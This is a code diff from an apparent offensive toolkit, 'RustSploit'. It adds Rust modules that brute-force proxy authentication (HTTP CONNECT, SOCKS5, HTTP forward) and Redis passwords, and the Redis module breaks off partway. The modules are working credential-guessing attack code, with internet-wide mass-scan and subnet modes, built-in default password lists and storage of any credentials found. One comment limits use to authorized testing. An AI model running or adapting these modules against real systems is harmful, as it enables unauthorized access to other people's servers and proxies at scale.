||||
|
||||
/// Parse a PostgreSQL ErrorResponse into a human-readable string.
|
||||
///
|
||||
/// Format: series of type-byte + null-terminated string pairs, terminated by 0.
|
||||
fn parse_pg_error(payload: &[u8]) -> String {
|
||||
let mut messages = Vec::new();
|
||||
let mut pos = 0;
|
||||
|
||||
while pos < payload.len() {
|
||||
let field_type = payload[pos];
|
||||
pos += 1;
|
||||
|
||||
if field_type == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Find null terminator
|
||||
let start = pos;
|
||||
while pos < payload.len() && payload[pos] != 0 {
|
||||
pos += 1;
|
||||
}
|
||||
|
||||
let value = String::from_utf8_lossy(&payload[start..pos]).to_string();
|
||||
pos += 1; // skip null terminator
|
||||
|
||||
match field_type {
|
||||
b'S' => messages.push(format!("Severity: {}", value)),
|
||||
b'M' => messages.push(value.clone()),
|
||||
b'C' => messages.push(format!("Code: {}", value)),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
if messages.is_empty() {
|
||||
"Unknown PostgreSQL error".to_string()
|
||||
} else {
|
||||
messages.join("; ")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,382 @@
|
||||
//! Proxy Authentication Bruteforce Module
|
||||
//!
|
||||
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
|
||||
//! SOCKS5 username/password, and HTTP forward proxies.
|
||||
//!
|
||||
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use base64::Engine as _;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file, cfg_prompt_port, cfg_prompt_yes_no,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_mass_scan_target, is_subnet_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Proxy Bruteforce".to_string(),
|
||||
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROXY AUTH TYPES
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ProxyType {
|
||||
HttpConnect,
|
||||
Socks5,
|
||||
HttpForward,
|
||||
}
|
||||
|
||||
impl ProxyType {
|
||||
fn from_str(s: &str) -> Self {
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"socks5" | "socks" => Self::Socks5,
|
||||
"http_forward" | "forward" | "transparent" => Self::HttpForward,
|
||||
_ => Self::HttpConnect,
|
||||
}
|
||||
}
|
||||
|
||||
fn name(&self) -> &'static str {
|
||||
match self {
|
||||
Self::HttpConnect => "HTTP CONNECT",
|
||||
Self::Socks5 => "SOCKS5",
|
||||
Self::HttpForward => "HTTP Forward",
|
||||
}
|
||||
}
|
||||
|
||||
fn default_port(&self) -> u16 {
|
||||
match self {
|
||||
Self::HttpConnect => 8080,
|
||||
Self::Socks5 => 1080,
|
||||
Self::HttpForward => 3128,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// AUTH ATTEMPTS
|
||||
// ============================================================================
|
||||
|
||||
/// Try HTTP CONNECT proxy with Basic auth.
|
||||
async fn try_http_connect_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
let mut stream = stream;
|
||||
|
||||
// Basic auth header
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
|
||||
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return LoginResult::Error { message: "Empty response".to_string(), retryable: false },
|
||||
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
Err(_) => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.contains("200") {
|
||||
LoginResult::Success
|
||||
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("Unexpected: {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
|
||||
async fn try_socks5_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
|
||||
if tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await.is_err() {
|
||||
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if buf[0] != 0x05 {
|
||||
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
|
||||
}
|
||||
if buf[1] != 0x02 {
|
||||
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
|
||||
}
|
||||
|
||||
// RFC 1929 username/password auth
|
||||
let user_bytes = user.as_bytes();
|
||||
let pass_bytes = pass.as_bytes();
|
||||
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
|
||||
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
|
||||
}
|
||||
|
||||
let mut auth_pkt = vec![0x01u8]; // version
|
||||
auth_pkt.push(user_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(user_bytes);
|
||||
auth_pkt.push(pass_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(pass_bytes);
|
||||
|
||||
if tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await.is_err() {
|
||||
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut resp = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
|
||||
Ok(Ok(_)) => {}
|
||||
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if resp[1] == 0x00 {
|
||||
LoginResult::Success
|
||||
} else {
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
}
|
||||
|
||||
/// Try HTTP forward proxy with Basic auth.
|
||||
async fn try_http_forward_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await.is_err() {
|
||||
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2048];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if resp.contains("200") && resp.contains("origin") {
|
||||
LoginResult::Success
|
||||
} else if resp.contains("407") || resp.contains("401") || resp.contains("403") {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Dispatch to the right auth function based on proxy type.
|
||||
async fn try_proxy_auth(
|
||||
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
match proxy_type {
|
||||
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN
|
||||
// ============================================================================
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
|
||||
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// --- Mass scan ---
|
||||
if is_mass_scan_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = Arc::new(load_lines(&users_file)?);
|
||||
let passes = Arc::new(load_lines(&pass_file)?);
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Proxy",
|
||||
default_port: proxy_type.default_port(),
|
||||
state_file: "proxy_brute_mass_state.log",
|
||||
default_output: "proxy_brute_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
// Quick connectivity check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let t = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
match try_proxy_auth(proxy_type, &t, port, user, pass, 5000).await {
|
||||
LoginResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let msg = format!("[{}] {}:{} {} auth: {}:{}", ts, ip, port, proxy_type.name(), user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}:{} {}:{}", ip, port, user, pass).green().bold());
|
||||
crate::cred_store::store_credential(
|
||||
&t, port, &format!("proxy-{}", proxy_type.name().to_lowercase()),
|
||||
user, pass, crate::cred_store::CredType::Password,
|
||||
"creds/generic/proxy_credcheck",
|
||||
).await;
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
LoginResult::AuthFailed => continue,
|
||||
LoginResult::Error { .. } => break, // host issue, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet scan ---
|
||||
if is_subnet_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&users_file)?;
|
||||
let passes = load_lines(&pass_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "proxy",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/proxy_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
try_proxy_auth(proxy_type, &ip.to_string(), port, &user, &pass, 5000).await
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single target ---
|
||||
display_banner();
|
||||
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let usernames = load_lines(&users_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
|
||||
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
|
||||
|
||||
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
|
||||
crate::mprintln!("[*] Combos: {}", combos.len());
|
||||
crate::mprintln!();
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
jitter_ms: 50,
|
||||
max_retries: 2,
|
||||
service_name: "proxy",
|
||||
source_module: "creds/generic/proxy_credcheck",
|
||||
},
|
||||
combos,
|
||||
move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
|
||||
}
|
||||
},
|
||||
).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&save_path)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,657 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_REDIS_PORT: u16 = 6379;
|
||||
|
||||
/// Default passwords for Redis (password-only mode).
|
||||
/// Redis commonly runs with no auth, "redis", "foobared", etc.
|
||||
const DEFAULT_PASSWORDS: &[&str] = &[
|
||||
"", // no auth
|
||||
"redis",
|
||||
"password",
|
||||
"foobared",
|
||||
"admin",
|
||||
"123456",
|
||||
"root",
|
||||
"default",
|
||||
"letmein",
|
||||
"changeme",
|
||||
];
|
||||
|
||||
/// Default ACL credentials for Redis 6+ (username:password).
|
||||
const DEFAULT_ACL_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("default", ""),
|
||||
("default", "redis"),
|
||||
("default", "password"),
|
||||
("default", "foobared"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "redis"),
|
||||
("root", "root"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Redis Brute Force".to_string(),
|
||||
description: "Brute-force Redis authentication using raw TCP protocol. Supports both \
|
||||
legacy password-only AUTH and Redis 6+ ACL mode (AUTH username password). \
|
||||
Tests default credentials, gathers server info on success, and supports \
|
||||
subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://redis.io/docs/management/security/".to_string(),
|
||||
"https://redis.io/docs/management/security/acl/".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum RedisErrorType {
|
||||
AuthenticationFailed,
|
||||
NoAuthRequired,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl RedisErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("noauth") || lower.contains("no auth") {
|
||||
Self::NoAuthRequired
|
||||
} else if lower.contains("-err")
|
||||
|| lower.contains("wrongpass")
|
||||
|| lower.contains("invalid password")
|
||||
|| lower.contains("authentication")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::NoAuthRequired => "No authentication required",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct RedisError {
|
||||
error_type: RedisErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for RedisError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for RedisError {}
|
||||
|
||||
impl RedisError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = RedisErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== Redis Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Redis",
|
||||
default_port: DEFAULT_REDIS_PORT,
|
||||
state_file: "redis_hose_state.log",
|
||||
default_output: "redis_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
async move {
|
||||
// Quick TCP check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
// Verify Redis is reachable with PING
|
||||
let ping_result = tokio::task::spawn_blocking({
|
||||
let t = target_str.clone();
|
||||
move || redis_ping(&t, port, 5)
|
||||
}).await;
|
||||
|
||||
match ping_result {
|
||||
Ok(Ok(true)) => {
|
||||
// PING succeeded without auth — Redis has no auth
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", "", "(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}:(no auth)\n", ts, ip, port));
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
// Auth required, try defaults
|
||||
}
|
||||
_ => return None, // Connection failure
|
||||
}
|
||||
|
||||
if use_acl {
|
||||
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
|
||||
let t = target_str.clone();
|
||||
let u = user.to_string();
|
||||
let p = pass.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, port, &u, &p, true, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
let t = target_str.clone();
|
||||
let p = pass.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, port, "", &p, false, 5)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&target_str, port, "redis", "", pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/redis_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}::{}\n", ts, ip, port, pass));
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
_ => return None,
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
|
||||
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
|
||||
let users = if use_acl {
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let u = load_lines(&usernames_file)?;
|
||||
if u.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
u
|
||||
} else {
|
||||
// In password-only mode, use a single empty username
|
||||
vec![String::new()]
|
||||
};
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "redis_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "redis",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/redis_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&target_str, port, &user, &pass, use_acl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
|
||||
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let usernames_file = if use_acl {
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
